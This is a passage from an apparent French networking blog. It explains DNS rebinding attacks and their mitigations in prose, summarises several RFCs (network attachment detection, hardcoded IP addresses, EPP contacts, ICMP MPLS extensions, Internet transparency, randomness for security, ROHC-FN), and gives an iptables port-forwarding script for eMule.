Outre des failles dans le modèle de sécurité lui-même (par exemple, Flash peut ouvrir des connexions réseau vers d'autres machines, s'il est autorisé par la machine d'où il vient, machine qui peut être contrôlée par l'attaquant), cette question de l'identité est au cœur du problème. La plupart des articles sur la question ont été écrits par des gens qui, n'ayant pas compris le DNS, pensait qu'il fournissait une identité, alors qu'il ne fournit qu'une correspondance entre un nom de domaine et une valeur (par exemple une adresse IP).

Comment se passe donc l'attaque ? L'attaquant configure un serveur, mettons www.mechant.example.com et publie un URL, par exemple dans les commentaires d'un blog : « vené voir plain photos top tro bien en http://www.mechant.example.com/ ». Les utilisateurs qui cliquent sur ce lien reçoivent le code malveillant (Javascript, Java, Flash, etc) et ce code va ensuite faire des requêtes vers www.mechant.example.com, comme autorisé. La plupart de ces techniques d'exécution de code étranger vérifient l'identité de la machine uniquement avec le nom ! Si le TTL (la durée de vie dans le DNS) était très court, la seconde requête, celle faite par le code malveillant, retournera aux serveurs de noms de mechant.example.com qui pourront alors renvoyer une autre adresse IP, par exemple située sur le réseau interne de la victime. C'est ce qu'on nomme le changement (rebinding).

L'article contient de nombreux détails. La vulnérabilité de principe est celle indiquée ci-dessus mais elle est aggravée par d'autres problèmes comme le fait que les caches des différentes parties du navigateur ne sont pas forcément partagés et que Javascript n'utilisera peut-être donc pas la même adresse IP que le moteur principal de Firefox.

Cette attaque est normalement empêchée par un comportement fréquent dans certaines applications, l'épinglage (pinning). Ce nom désigne le fait que beaucoup d'applications n'appellent le résolveur (via getaddrinfo ou une fonction similaire) qu'une seule fois et gardent ensuite éternellement l'adresse IP résultante, quel que soit le TTL dans le DNS. L'épinglage, qui viole le protocole DNS, pose ses propres problèmes et l'article montre qu'il n'est pas sans failles, il existe en effet plusieurs trucs pour désépingler un nom.

Quelques trucs ont été proposés pour limiter les risques, comme de demander au serveur de noms récursif de refuser les réponses venues de l'extérieur si elles contiennent une adresse IP intérieure. Avec un logiciel comme BIND, cela nécessiterait une modification spécifique. Il y a aussi des logiciels comme le DNS wall de Google qui se placent avant le serveur de noms récursif et mettent en œuvre cette fonction. Il est important de noter que DNS Wall ne permet pas de configurer les adresses IP considérées comme internes (il ne connait que le RFC 1918). Et qu'il comporte une faille de sécurité grave (cf. http://code.google.com/p/google-dnswall/issues/detail?id=1). Un code amélioré, basé sur DNS Wall, a finalement été intégré dans BIND (à partir de la version 9.7).

Alors, faut-il changer le DNS ? Les navigateurs ? Les deux ? D'abord, il faut bien voir que les accusations contre le DNS ou les demandes qu'on le change immédiatement sont le résultat d'une incompréhension de ce qu'est le DNS. Le DNS n'a jamais été un service d'identité, encore moins d'authentification. Le DNS est uniquement une table qui met en correspondance des noms de domaine et des valeurs, comme les adresses IP. Rien n'interdit au gérant de www.mechant.example.com de faire pointer ce nom vers une adresse IP qui ne leur « appartient » pas et c'est une fonction fondamentale du DNS (la supprimer casserait beaucoup d'applications, notamment si on n'est pas son propre hébergeur).

Mais les navigateurs n'ont pas forcément toujours tort non plus. À l'heure actuelle, il n'existe pas de mécanismes simples sur Internet pour s'assurer de l'identité d'une machine. Des applications comme SSH ont créé leur propre mécanisme. Un effort pour avoir un tel mécanisme au niveau IP est en cours, sous le nom de HIP (cf. RFC 4423) mais est encore très expérimental.

La protection de HTTP contre le changement a fait l'objet d'une discussion lors de la mise à jour de la norme HTTP en 2010.


L'article seul

RFC 4957: Link-layer Event Notifications for Detecting Network Attachments

Date de publication du RFC : Août 2007
Auteur(s) du RFC : S. Krishnan (Ericsson Research), N. Montavont (LSIIT - University Louis Pasteur), E. Njedjou (France Telecom), S. Veerepalli (Qualcomm), A. Yegin (Samsung AIT)
Pour information
Réalisé dans le cadre du groupe de travail IETF dna
Première rédaction de cet article le 8 août 2007


Un court RFC pour expliquer comment une pile IP peut tirer parti des indications envoyées par la couche 2 pour déterminer si un changement de réseau physique vient d'avoir lieu.

Il est fréquent qu'une machine puisse changer de réseau physique sans redémarrer : cela peut arriver en Wi-Fi, bien sûr, mais aussi avec les technologies issues de la téléphonie mobile comme 3GPP et même avec Ethernet lorsqu'on débranche et rebranche un câble.

Les paramètres de la connexion IP dépendent souvent du réseau physique sous-jacent. IP doit donc être prêt à changer ces paramètres lorsque la machine change de réseau. Il reste à détecter automatiquement ce changement et notre RFC explique, pour chaque technique de couche 2, les méthodes possibles et leurs problèmes éventuels.

Pour 3GPP/GPRS par exemple, notre RFC explique dans sa section 3.1 que c'est l'établissement du contexte PDP (Packet Data Protocol) qui signale que IP est disponible et qui doit donc être utilisé comme évenement déclencheur de la (re)configuration IP.

Pour Ethernet, c'est plus compliqué. La présence de ponts exécutant le protocole spanning tree fait que la connexion physique au lien ne signifie pas que les trames passent déjà. Et rien n'indique aux stations connectées que le protocole a terminé et que les trames peuvent désormais passer. Le RFC expose ce problème mais ne propose pas de solution simple.


Téléchargez le RFC 4957


L'article seul

RFC 4085: Embedding Globally-Routable Internet Addresses Considered Harmful

Date de publication du RFC : Juin 2005
Auteur(s) du RFC : D. Plonka (University of Wisconsin)
Première rédaction de cet article le 8 août 2007


Un RFC de nature opérationnelle, pour rappeler à quel point l'idée de mettre des adresses IP en dur dans la configuration des équipements réseaux est une mauvaise idée.

L'auteur parle d'expérience : son université, University of Wisconsin a été sérieusement perturbée lorsque des routeurs fabriqués par Netgear ont, par milliers, tenté de se connecter à son serveur NTP. Sans vergogne, les fabricants du routeur avaient mis l'adresse IP dudit serveur dans la configuration par défaut du routeur !

Une mésaventure identique était survenue à un ingénieur danois connu, dont le serveur NTP avait été surchargé par des routeurs D-link, produits par des gens peu scrupuleux.

Notre RFC s'appuie donc sur ces exemples pour demander que les adresses IP ne soient pas mises en dur dans la configuration de machines, surtout si celles-ci, comme la plupart des petits équipements réseaux, ne seront jamais mises à jour après leur livraison au client, et jamais administrées professionnellement. Même si le fabricant est bien titulaire de l'adresse IP du serveur, il ne peut pas garantir qu'il le restera. Comme le notent le RFC 2101 et le RFC 7020, les adresses IP ne sont pas éternelles.

On trouve de telles adresses IP dans les documentations (alors qu'il faudrait utiliser les adresses spéciales décrites dans les RFC 5737 et RFC 3849) et dans les configurations (pour que la machine fonctionne immédiatement, sans configuration manuelle, ce qui peut être plus pratique pour le client mais est très dangereux pour l'Internet, comme dans les cas ci-dessus).

Notre RFC décrit aussi dans sa section 3 les alternatives, comme d'utiliser des noms de domaine, plus stables que les adresses IP et surtout permettant des techniques de répartition de charge ou bien d'indirection, par exemple avec les enregistrements SRV (RFC 2782).

Une autre alternative est de compter sur des annonces faites localement, par exemple par DHCP, pour trouver les serveurs utiles.


Téléchargez le RFC 4085


L'article seul

Install Ubuntu / Linux on a Dell Latitude D430

First publication of this article on 6 August 2007
Last update on of 16 September 2010


I installed the operating system Ubuntu on a Dell Latitude D430 laptop machine. This article is to share the information that I obtained during the process.

While the basic functions are OK, there are problems. As often with laptops, especially very recent machines, a lot of things do not work, or do not work out of the box.


L'article complet

RFC 4933: Extensible Provisioning Protocol (EPP) Contact Mapping

Date de publication du RFC : Mai 2007
Auteur(s) du RFC : S. Hollenbeck
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF provreg
Première rédaction de cet article le 6 août 2007


Le protocole d'avitaillement EPP ne spécifie pas comment représenter les objets qu'on crée, détruit, modifie, etc. Cette tâche est déléguée à des RFC auxiliaires comme le nôtre, consacré aux contacts, c'est-à-dire aux personnes physiques ou morales responsables d'un objet de la base et qui peuvent être contactées à son sujet. (L'objet étant typiquement un nom de domaine ou bien un préfixe IP.)

EPP permet à un client de créer, détruire et modifier des objets de types différents. En pratique, EPP n'est utilisé que dans l'industrie des noms de domaine mais, en théorie, il pourrait être utilisé pour n'importe quel type d'objets.

Le type n'est donc pas spécifié dans le protocole EPP de base, normalisé dans le RFC 4930, mais dans des RFC supplémentaires. Par exemple, celui qui fait l'objet de cet article spécifie le type (EPP dit le mapping) pour les contacts. Il n'est plus d'actualité, ayant été remplacé par le RFC 5733.

Ce type est spécifié (section 4 du RFC) dans le langage W3C XML Schema.

Un contact est donc composé d'un identificateur (type clIDType du RFC 4930). Cet identificateur (on l'appelait traditionnellement le handle) est, par exemple, SB68-GANDI.

Les contacts ont aussi évidemment des moyens d'être contactés, via numéro de téléphone, adresse postale, etc.

Les contacts pouvant être des personnes physiques, pour protéger leur vie privée, la section 2.9 du RFC décrit aussi un format pour spécifier si ces informations doivent être publiées ou pas. Insuffisant pour tous les cas, ce format est en général remplacé, chez les registres européens, par un mapping spécifique (par exemple, EPP parameters for .pl ccTLD pour les polonais qui utilisent un élément <individual> pour indiquer si le contact est une personne physique, et a donc droit à la protection des lois européennes sur les données personnelles).

À titre d'exemple, voici la réponse d'un serveur EPP à une requête <epp:info> pour le contact SB68-GANDI :


<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
  <response>
    <result code="1000">
      <msg>Command completed successfully</msg>
    </result>
    <resData>
      <contact:infData
       xmlns:contact="urn:ietf:params:xml:ns:contact-1.0">
        <contact:id>SB68-GANDI</contact:id>
        <contact:roid>SH8013-REP</contact:roid>
        <contact:status s="clientDeleteProhibited"/>
        <contact:postalInfo type="int">
          <contact:name>John Doe</contact:name>
          <contact:org>Exemple SA</contact:org>
          <contact:addr>
            <contact:street>123 rue de l'Exemple</contact:street>
            <contact:city>Trifouillis-les-Oies</contact:city>
            <contact:cc>FR</contact:cc>
          </contact:addr>
        </contact:postalInfo>
        <contact:voice x="1234">+33.7035555555</contact:voice>
        <contact:fax>+33.7035555556</contact:fax>
        <contact:email>jdoe@example.com</contact:email>
        <contact:crDate>1997-04-03T22:00:00.0Z</contact:crDate>
        <contact:upDate>1999-12-03T09:00:00.0Z</contact:upDate>
        <contact:trDate>2000-04-08T09:00:00.0Z</contact:trDate>
        <contact:authInfo>
          <contact:pw>2fooBAR</contact:pw>
        </contact:authInfo>
        <contact:disclose flag="0">
          <contact:voice/>
          <contact:email/>
        </contact:disclose>
      </contact:infData>
    </resData>
  </response>
</epp>

Ce RFC remplace son prédécesseur, le RFC 3733 mais ce ne sont que des modifications de détail. Lui-même a ensuite été remplacé par le RFC 5733, avec, là encore, peu de modifications.


Téléchargez le RFC 4933


L'article seul

RFC 4950: ICMP Extensions for MultiProtocol Label Switching

Date de publication du RFC : Août 2007
Auteur(s) du RFC : R. Bonica (Juniper), D. Gan, D. Tappan, C. Pignataro (Cisco)
Chemin des normes
Première rédaction de cet article le 6 août 2007


Ce RFC documente une simple extension à ICMP pour distribuer de l'information spécifique à MPLS.

De nombreux outils existent pour traiter les informations envoyées par le protocole de signalement ICMP, notamment le fameux traceroute. Notre RFC spécifie donc un moyen de permettre à un routeur MPLS de mettre des informations spécifiques à MPLS dans le paquet ICMP émis en cas de problème.

Depuis le RFC 4884, ICMP peut inclure des messages structurés, comme MIME le permet pour le courrier électronique. C'est cette possibilité qu'utilise notre RFC pour transmettre un message MPLS Label Stack qui inclue les valeurs des labels MPLS utilisés.

Si les LSR, les routeurs MPLS sont configurés pour signaler ces labels (tous les opérateurs ne le font pas), un programme comme traceroute pourra les afficher. Un patch est par exemple intégré dans Gentoo ou dans le traceroute de NANOG. Voici le résultat :

...
 5  p5-2-0-2.rar2.chicago-il.us.xo.net (65.106.6.161)  6.771 ms  15.769 ms  6.651 ms
 6  p1-0.IR1.Chicago2-IL.us.xo.net (65.106.6.138)  8.008 ms  6.910 ms  7.489 ms
 7  206.111.2.54.ptr.us.xo.net (206.111.2.54)  8.812 ms  7.224 ms  7.022 ms
 8  if-1-0.core2.CT8-Chicago.teleglobe.net (66.110.14.177)  6.955 ms  8.744 ms  7.288 ms
     MPLS Label=391 CoS=0 TTL=0 S=1
 9  if-0-1-0.core2.NTO-NewYork.teleglobe.net (66.110.14.22)  33.647 ms  33.673 ms  33.791 ms
     MPLS Label=106 CoS=0 TTL=0 S=1
10  if-4-0.core1.PG1-Paris.teleglobe.net (80.231.72.113)  104.626 ms  104.966 ms  107.155 ms
     MPLS Label=96 CoS=0 TTL=0 S=1
11  if-0-0.core2.PG1-Paris.teleglobe.net (80.231.72.34)  104.865 ms 111.197 ms  104.696 ms

Téléchargez le RFC 4950


L'article seul

Configurer les ports eMule ou mlDonkey pour un routeur Linux

Première rédaction de cet article le 2 août 2007
Dernière mise à jour le 8 août 2007


Le logiciel de partage de fichiers eMule, s'il n'est pas contactable par d'autres utilisateurs depuis l'extérieur, rend un service dégradé. Comment le rendre contactable si le routeur est une machine Linux ?

On sait que le NAT est une source d'ennuis sans fin, notamment pour les applications pair à pair. Sa présence nécessite beaucoup de bricolages comme ici, où nous allons faire du port fowarding, c'est-à-dire relayer les paquets IP depuis un pair vers notre client eMule ou mlDonkey, via un routeur Linux.

Le cas d'un routeur Linux n'est pas actuellement documenté en http://www.emule-project.net/home/perl/help.cgi?l=1&rm=show_entries&cat_id=251 mais, par contre, il y a un exemple dans l'excellente documentation de mlDonkey. Mais c'est de toute façon assez simple. Il faut commencer par connaître les ports utilisés. eMule en change désormais, pour passer les filtrages. Allez dans Préférences puis Connexion et regardez "Port client". Notez la valeur pour le port TCP et le port UDP.

Pour mlDonkey, on peut utiliser la commande portinfo de la console :

> portinfo

        --Portinfo--
Network   |  Port|Type
----------+------+-------------------
BitTorrent|  6882|client_port TCP
BitTorrent|  6881|tracker_port TCP
Core      |  4080|http_port
Core      |  4000|telnet_port
Core      |  4001|gui_port
Donkey    |  4550|client_port TCP
Donkey    |  4554|client_port UDP
Donkey    | 18703|overnet_port TCP+UDP
Donkey    | 10349|kademlia_port UDP
G2        |  6347|client_port TCP+UDP
Gnutella  |  6346|client_port TCP+UDP

ou bien un très bon script bash.

Mettons que le port TCP soit 4550 et le port UDP 4554. On configure le routeur ainsi avec iptables dans un petit script shell :

#!/bin/sh

# Valeurs specifiques a mon site
# Ports utilises par eMule / ml Donkey
tcp=4550
udp=4554
# Interface d'entree
in_interface=ppp0
# La machine qui a eMule
emule=10.19.1.25

# TCP
iptables --table nat --append PREROUTING --protocol tcp \
    --in-interface ${in_interface} --dport ${tcp} \
    --jump DNAT --to ${emule}:${tcp}
iptables --insert FORWARD --protocol tcp --in-interface ${in_interface} \
   --dport ${tcp} \
   --jump ACCEPT

# UDP
iptables --table nat --append PREROUTING  --protocol udp \
     --in-interface ${in_interface} --dport ${udp} --jump DNAT \
     --to ${emule}:${udp}
iptables --insert FORWARD --protocol udp --in-interface ${in_interface} \
    --dport ${udp}  \
    --jump ACCEPT

Vous pouvez vérifier que les règles ont bien été insérées avec iptables --table nat --list PREROUTING et iptables --list FORWARD. L'option -e est également très pratique car elle affiche le nombre de paquets qui ont été acceptés par chaque règle. tcpdump ou wireshark sont également des moyens très pratiques de voir ce qui se passe sur le réseau, en cas de problèmes, ou tout simplement pour apprendre.

Pour être exécutées automatiquement au démarrage de la machine, ces instructions doivent être mises dans un fichier exécutable, placé dans le répertoire des scripts exécutés au démarrage. Par exemple, sur Debian, on les met dans un fichier nommé, mettons, port-forwarding, placé dans /etc/init.d, et on place les liens symboliques nécessaires avec une commande comme sudo update-rc.d port-forwarding start 2 3 4 .. Si l'interface vers l'Internet est une interface dynamique, par exemple avec PPP, on peut plutôt mettre le script dans le répertoire des commandes exécutées lorsque l'interface devient active, /etc/ppp/ip-up.d.

Une fois ce réglage fait, cliquez sur "Test des ports" dans la même fenêtre Préférences -> Connexion -> "Port client". Votre navigateur va se connecter à un service Web qui doit tester TCP et UDP, vous afficher qu'ils marchent, puis un message sympa du genre « Amusez-vous bien avec eMule » qui vous informe que vous n'êtes plus un membre de seconde classe, un méprisable Low ID. Pour mlDonkey, vous pouvez regarder votre ID avec la commande console id :


> id
For 89.54.92.142:3333 () --->   waiting
For 80.239.200.101:3000 (BiG BanG 2) --->   8212756 (LowID)
For 62.241.53.2:4242 (DonkeyServer No1) --->   13844656 (LowID)
For 80.239.200.99:3000 (BiG BanG 1) --->   10864435 (LowID)

Si on a bien activé la correspondance des ports, on doit avoir plutôt quelque chose comme :

For 67.159.44.187:4232 (www.wmule.com ) --->   192.0.2.9 (HighID)
For 212.179.18.142:4232 (best hash ) --->   192.0.2.9 (HighID)
For 67.159.44.107:4232 (www.wmule.com ) --->   192.0.2.9 (HighID)
For 212.179.18.134:4232 (www.wmule.com ) --->   192.0.2.9 (HighID)

Si on veut connaitre tous les détails techniques, ils sont bien exposés en http://www.emule-project.net/home/perl/help.cgi?l=1&topic_id=122&rm=show_topic.


L'article seul

Le rituel des sessions de signature de clés PGP

Première rédaction de cet article le 1 août 2007


Année après année, le rituel ne change pas : les sessions de signature réciproque des clés PGP suivent toujours le même cérémonial, inattendu dans une communauté de geeks.

PGP repose sur la notion de réseau de confiance. On signe les clés des gens dont on a pu vérifier l'identité et ils signent la vôtre. De proche en proche, on peut en général trouver le chemin qui mène de la clé d'une personne à la clé de n'importe quelle personne (au fait, l'ID de ma clé est 0xCCC66677 et son empreinte est F42D 259A 35AD BDC8 5D9B FF3E 555F 5B15 CCC6 6677).

Mais cela suppose qu'on se rencontre dans le monde réel pour vérifier les identités. C'est le rôle des sessions PGP ou key signing parties. Le principe ? Prenons l'exemple de celle qui s'est tenue à la réunion IETF 69 à Chicago en juillet 2007 (mais toutes ces sessions se ressemblent).

Les participants envoient préalablement leur clé publique à l'organisateur. Il calcule les empreintes des clés (typiquement avec gpg --fingerprint) et les imprime. Lors de la session, il distribue le papier à tout le monde. Les clés elles-mêmes ont été recupérées sur le réseau et importées dans le trousseau (typiquement avec gpg --import). L'organisateur lit successivement chaque empreinte et la personne à qui appartient la clé confirme que c'est la bonne empreinte. On sait alors que les clés distribuées sont bien celles envoyées par les participants.

Il reste à vérifier les identités des participants. Un algorithme simple serait que chacun vérifie successivement l'identité de chacun. C'est ainsi qu'on procédait autrefois. Mais cet algorithme est en o(n^2). On utilise désormais un algorithme parallèle. Les participants sont rassemblés en deux rangs qui se font face à face, chacun vérifie l'identité de son vis-à-vis. Puis on se décale d'un cran, avec passage des personnes d'extrémité dans l'autre rang, et on recommence (en essayant de ne pas éclater de rire devant le joli ballet que ça représente).

Ah, au fait, comment vérifie t-on l'identité ? Typiquement par un document officiel d'identité. C'est loin d'être parfait car je ne sais pas à quoi est censé ressembler un permis de conduire de l'Illinois, et je suis perplexe devant les cartes d'identité japonaises en jolis caractères. Mais c'est mieux que rien.

On peut alors signer les clés sur son portable (typiquement avec gpg --sign-key), ou bien une fois rentré chez soi, et les envoyer ensuite au titulaire, ou à un serveur de clés public. La première méthode est recommandée, car elle permet de valider également l'adresse électronique indiquée dans la clé.

Chaque étape du rituel a été minutieusement étudiée. N'oublions pas que les participants n'ont aucune raison de faire confiance à l'organisateur et qu'il faut donc que tout le processus soit transparent. Pas question, donc, que seul l'organisateur fasse la vérification des identités.

Voici les instructions qui avaient été envoyées aux participants pour la session PGP en question : http://www1.ietf.org/mail-archive/web/ietf-announce/current/msg03926.html. Il y a bien sûr d'autres façons de faire.


L'article seul

RFC 4924: Reflections on Internet Transparency

Date de publication du RFC : Juillet 2007
Auteur(s) du RFC : B. Aboba (IAB), E. Davies (IAB)
Pour information
Première rédaction de cet article le 1 août 2007


Ce RFC nommé « Réflexions sur la neutralité de l'Internet » est essentiellement consacré à un rappel de l'importance qu'il y a à ne pas préjuger des usages et des applications. L'Internet doit rester transparent c'est-à-dire traiter de la même façon tous les paquets IP, sans privilégier certaines applications. C'est cette transparence qui a permis le développement spectaculaire de nouvelles applications et qui est aujourd'hui menacée.

Aujourd'hui, cette transparence est sérieusement menacée. Par exemples, certains opérateurs voudraient traiter de manière privilégiée certaines applications, ou au contraire contrarier certaines, comme la téléphonie sur IP, qui s'attaque à leur marché le plus rentable. C'est contre cette tendance que s'est développé le courant qui défend la neutralité du réseau.

Mais il y a d'autres menaces, par exemple, le déploiement de plus en plus fréquent de mécanismes qui empêchent la connexion de bout en bout, que ce soit :

  • le NAT pour pallier le manque d'adresses IPv4,
  • les coupe-feux mis au nom de la sécurité,
  • ou, pire, certains FAI qui redirigent discrètement les paquets, bloquent certains ports comme le 25 (SMTP) ou modifient les réponses DNS dans les récurseurs qu'ils offrent à leurs clients.

Notre RFC est donc consacré à l'analyse de ces problèmes et à un rappel de leur caractère négatif. En effet, le fait que l'Internet soit un réseau neutre, un oblivious transport (terme utilisé dans le rapport New Arch, que cite notre RFC), un simple transporteur de paquets, qui ne se permet pas de les examiner ou de les modifier, est l'un des points les plus importants de l'architecture de ce réseau. C'est ce point qui permet le développement d'applications nouvelles et non planifiées dès l'origine. L'exemple archétypal est bien sûr le Web, non prévu à l'origine de l'Internet et qui a pu être déployé progressivement ; sur un réseau transparent, il suffit que deux machines soit d'accord et elles peuvent tout de suite commencer à utiliser le nouveau protocole.

À l'opposé des réseaux transparents se trouvent des réseaux ossifiés comme les réseaux des opérateurs téléphoniques, liés à une seule application et ne permettant donc pas l'innovation, puisque tout changement doit être approuvé et mis en œuvre par l'opérateur.

L'Internet, traditionnellement transparent, devient de plus en plus ossifié. C'est ainsi que les routeurs NAT et les coupe-feux qui examinent le contenu des paquets ne laissent guère de chance à des nouveaux protocoles de transport comme SCTP (RFC 3286) d'être déployés. De même, les nouvelles applications sont souvent obligées de « tricher » en passant au dessus de HTTP, de façon à franchir les coupe-feux.

Il est temps de réagir. Ce RFC n'est pas le premier document sur la question, le pionnier avait été le RFC 2775 et notre nouveau RFC se consacre surtout aux nouveautés. Il décrit les facteurs qui s'opposent à la transparence comme le filtrage (section 2.1), d'autant plus problématique que très rares sont les FAI qui publient leur règle de filtrage, malgré le RFC 4084, certaines utilisations de la QoS (section 2.2), les passerelles applicatives (ALG, section 2.3), puisqu'elles doivent être mises à jour pour tout changement du protocole applicatif, mais aussi la manipulation des réponses DNS (section 2.5.2).

Certains FAI (apparemment, aujourd'hui, en France, Noos, Club-Internet et Tiscali) modifient les réponses DNS reçues par les serveurs faisant autorité. Typiquement, ils remplacent les réponses NXDOMAIN (No Such Domain, ce nom de domaine n'existe pas) par une adresse IP prédéterminée où un serveur Web leur propose moteur de recherche et publicités. Le RFC note que, outre leur incompatibilité avec DNSSEC, ces manipulations cassent le modèle de référence du DNS (qui est que le gérant d'une zone est l'autorité suprême sur le contenu de la zone).


Téléchargez le RFC 4924


L'article seul

RFC 4086: Randomness Requirements for Security

Date de publication du RFC : Juin 2005
Auteur(s) du RFC : D. Eastlake (Motorola), J. Schiller (MIT), S. Crocker (MIT)
Première rédaction de cet article le 1 août 2007


La sécurité, c'est toujours un problème difficile. Parmi les sous-problèmes à résoudre pour rendre un système informatique sûr, la sécurité du générateur de nombres aléatoires occupe une bonne place, mais qui est souvent méconnu. Ce RFC fait donc le point sur le problème et sur les mesures à adopter lors de la mise en œuvre des protocoles IETF.

L'alerte de sécurité CVE-2007-2926 sur le générateur aléatoire de BIND est venue nous le rappeler : beaucoup de mécanismes de sécurité informatique reposent sur la génération « sûre » de nombres aléatoires. « Sûre » voulant dire ici « Difficile à prévoir par l'adversaire ». Comme tout serveur récursif DNS, BIND doit placer dans les requêtes sortantes une query ID que le serveur faisant autorité mettra dans sa réponse, permettant ainsi de s'assurer de la validité de la réponse (la query ID sert donc de cookie). Si les query ID sont prévisibles par un méchant, il peut facilement fabriquer de fausses réponses qui ont l'air vraies et ainsi empoisonner le cache du serveur récursif.

Cette faille est très classique : nombreux sont les logiciels qui utilisent, sans bien s'en rendre compte, un générateur aléatoire prédictif. Notre RFC donne une explication partielle pour cet aveuglement : les textes classiques sur les générateurs aléatoires ne les jugent que par des considérations statistiques, pas en prenant le point de vue d'un adversaire qui chercherait à trouver le nombre suivant. Notre RFC cite l'exemple d'un générateur qui, devant fabriquer des nombres de 128 bits aléatoires, produirait en moyenne 50 % de nombres égaux à zéro et 50 % de nombres aléatoires. Statistiquement, il y aurait toujours 64 bits d'entropie, ce qui peut sembler suffisant. Mais un attaquant n'aurait qu'à essayer un nombre nul pour réussir la moitié du temps et l'entropie réelle serait donc de un bit...

Ce RFC, qui succède au RFC 1750, est donc consacré à l'exposé des bonnes pratiques en matière de générateur aléatoire. Depuis le RFC 1750, le monde des protocoles Internet a été bouleversé puisque presque tous dépendent désormais plus ou moins de la cryptographie, qui elle-même dépend souvent de générateurs aléatoires sûrs, par exemple pour fabriquer les clés de session.

Les bonnes pratiques peuvent se regrouper en deux catégories, utiliser le hasard présent dans la matériel, et utiliser des générateurs cryptographiquement forts.

Le matériel d'un système informatique est en effet source de nombreux bruits très aléatoires. Le bruit de fond du micro (section 3.2.1) ou les interruptions envoyées par le disque dur (section 3.2.2) sont deux bons exemples. Presque tous les ordinateurs ayant un tel matériel, il est recommandé de l'utiliser comme source d'entropie. (Les cartes réseaux ne sont mentionnées qu'en passant, car leurs interruptions peuvent être influencées par un tiers, surtout s'il est sur le même réseau.) Idéalement, il faudrait utiliser des dispositifs quantiques comme un ensemble d'atomes radioactifs dont on mesure la désintégration mais les PC ont plus souvent un micro qu'un compteur Geiger... (À défaut d'un tel compteur, on peut utiliser un générateur de bruit blanc comme l'Alea.)

Le RFC détaille aussi des mauvaises idées, par exemple le programmeur qui doit initialiser un générateur aléatoire avec une graine (seed) utilise souvent l'horloge de la machine (par exemple en Python, quelque chose comme generator = random.Random (time.time()) ou bien en C, initstate(time(NULL), state, NUMSTATES);). C'est en général très peu sûr, car les horloges ont typiquement une résolution très faible : si l'attaquant sait à quelle heure approximative le système a démarré, il peut trouver la graine et en déduire les nombres générés (section 3.4 du RFC). La section 6.1 détaille d'autres mauvaises idées, notamment celle de croire que, si on fait des manipulations très complexes des données, on est d'avantage en sécurité (en fait, c'est souvent le contraire).

Il y a beaucoup d'autres détails à prendre en compte (le RFC note que le problème est « étonnamment difficile ») comme le fait qu'une machine qui démarre a accumulé peu d'entropie et est donc particulièrement vulnérable (sauf si on sauvegarde le dernier résultat du générateur lors de l'arrêt, pour l'utiliser comme graine au démarrage suivant).

Pour le programmeur qui trouve cela bien difficile, notons que le RFC, dans le traditionnel esprit IETF de se soucier des problèmes pratiques, pas juste de la théorie, a prévu une section 7 qui détaille les fonctions déjà écrites et qu'il n'y a plus qu'à utiliser comme /dev/random sur beaucoup de systèmes Unix. /dev/random est un pseudo-fichier rempli par le noyau du système en utilisant diverses sources d'entropie, dont celles fournies par le matériel. Sur Linux, il existe aussi un /dev/urandom, sans doute moins sûr (car utilisant également un générateur pseudo-aléatoire) mais non bloquant (la lecture de /dev/random peut durer longtemps, car le noyau n'y écrit rien tant qu'il n'a pas assez récolté d'entropie). Voici un exemple d'utilisation de /dev/urandom pour obtenir 512 octets aléatoires dans un fichier :

dd bs=512 count=1 if=/dev/urandom > /tmp/random_data

Ceux qui aiment lire le code source noteront que, dans les noyaux Linux 2.6, ce mécanisme est programmé dans drivers/char/random.c et que les commentaires très détaillés de ce fichier sont instructifs.

Les personnes allergiques aux mathématiques sont prévenues que ce RFC est un des rares documents de l'IETF à comporter des formules mathématiques (qui n'ont pas été faciles à publier en texte seul).


Téléchargez le RFC 4086


L'article seul

RFC 4997: Formal Notation for Robust Header Compression (ROHC-FN)

Date de publication du RFC : Juillet 2007
Auteur(s) du RFC : R. Finking (Siemens/Roke Manor Research), G. Pelletier (Ericsson)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF rohc
Première rédaction de cet article le 31 juillet 2007


Ce RFC décrit un langage formel pour spécifier les en-têtes d'un paquet et, surtout, pour indiquer le mécanisme de compression utilisé.

Tous les réseaux ne disposent pas d'un excès de bande passante. Même aujourd'hui, les vieux modems restent en service (y compris dans un pays riche, mais étendu, comme les États-Unis) et certaines technologies récentes offrent une bande passante limitée (par exemple sur les téléphones mobiles). Il est donc utile de pouvoir comprimer les données et aussi les en-têtes des paquets émis, qui sont souvent très redondants, ouvrant ainsi de bonnes perspectives pour la compression. Le premier grand travail dans ce domaine avait été la compression des en-têtes TCP par Van Jacobson en 1990 (RFC 1144). Par la suite, plusieurs mécanismes de compression ont été inventés et le projet ROHC (Robust Header Compression) a été créé pour mettre de l'ordre dans ces mécanismes, en développant un cadre commun, spécifié dans le RFC 3095 et dans plusieurs autres (ROHC est désormais normalisé dans le RFC 5795).

Il manquait à tous ces RFC un langage formel, toutes les descriptions étant en langue naturelle. C'est désormais fait avec notre RFC et ce langage, ROHC-FN, rejoint donc ABNF (RFC 5234) et MIB (RFC 2578) comme langage formel pour aider à la normalisation. La première utilisation de ROHC-FN a été dans le RFC 5225.

On notera que ROHC-FN permet également la description formelle des en-têtes des paquets, description qui était traditionnellement faite dans les RFC par des ASCII box. Voici un en-tête (imaginaire) en ASCII box :

     0   1   2   3   4   5   6   7
   +---+---+---+---+---+---+---+---+
   |version| type  |    flow_id    |
   +---+---+---+---+---+---+---+---+
   |  sequence_no  |   flag_bits   |
   +---+---+---+---+---+---+---+---+

et le même décrit en ROHC-FN :

     eg_header
     {
       UNCOMPRESSED {
         version_no   [ 2 ];
         type         [ 2 ];
         flow_id      [ 4 ];
         sequence_no  [ 4 ];
         flag_bits    [ 4 ];
       }

Si on intègre la compression, ce qui est le but principal de ROHC-FN, on peut avoir :

       COMPRESSED obvious {
         version_no    =:= uncompressed_value(2, 1);
         type          =:= irregular(2);
         flow_id       =:= static;
         sequence_no   =:= lsb(0, -3);
         abc_flag_bits =:= irregular(3);
         reserved_flag =:= uncompressed_value(1, 0);
       }

ce qui exprime le fait que version_no a toujours la même valeur (1), que type n'est pas comprimable, ou que sequence_no ne l'est pas dans un paquet mais qu'une compression inter-paquets est possible (le numéro de séquence s'incrémentant légèrement à chaque paquet).

Ces différentes méthodes (uncompressed_value, lsb, etc) sont décrites dans la section 4.11 de notre RFC.

On notera qu'il existe d'autres langages pour la description de structures binaires comme les en-têtes mais qu'apparemment aucun ne convenait pour l'IETF.


Téléchargez le RFC 4997


L'article seul

Une application bidon avec REST, SQL et Unicode, juste comme exemple

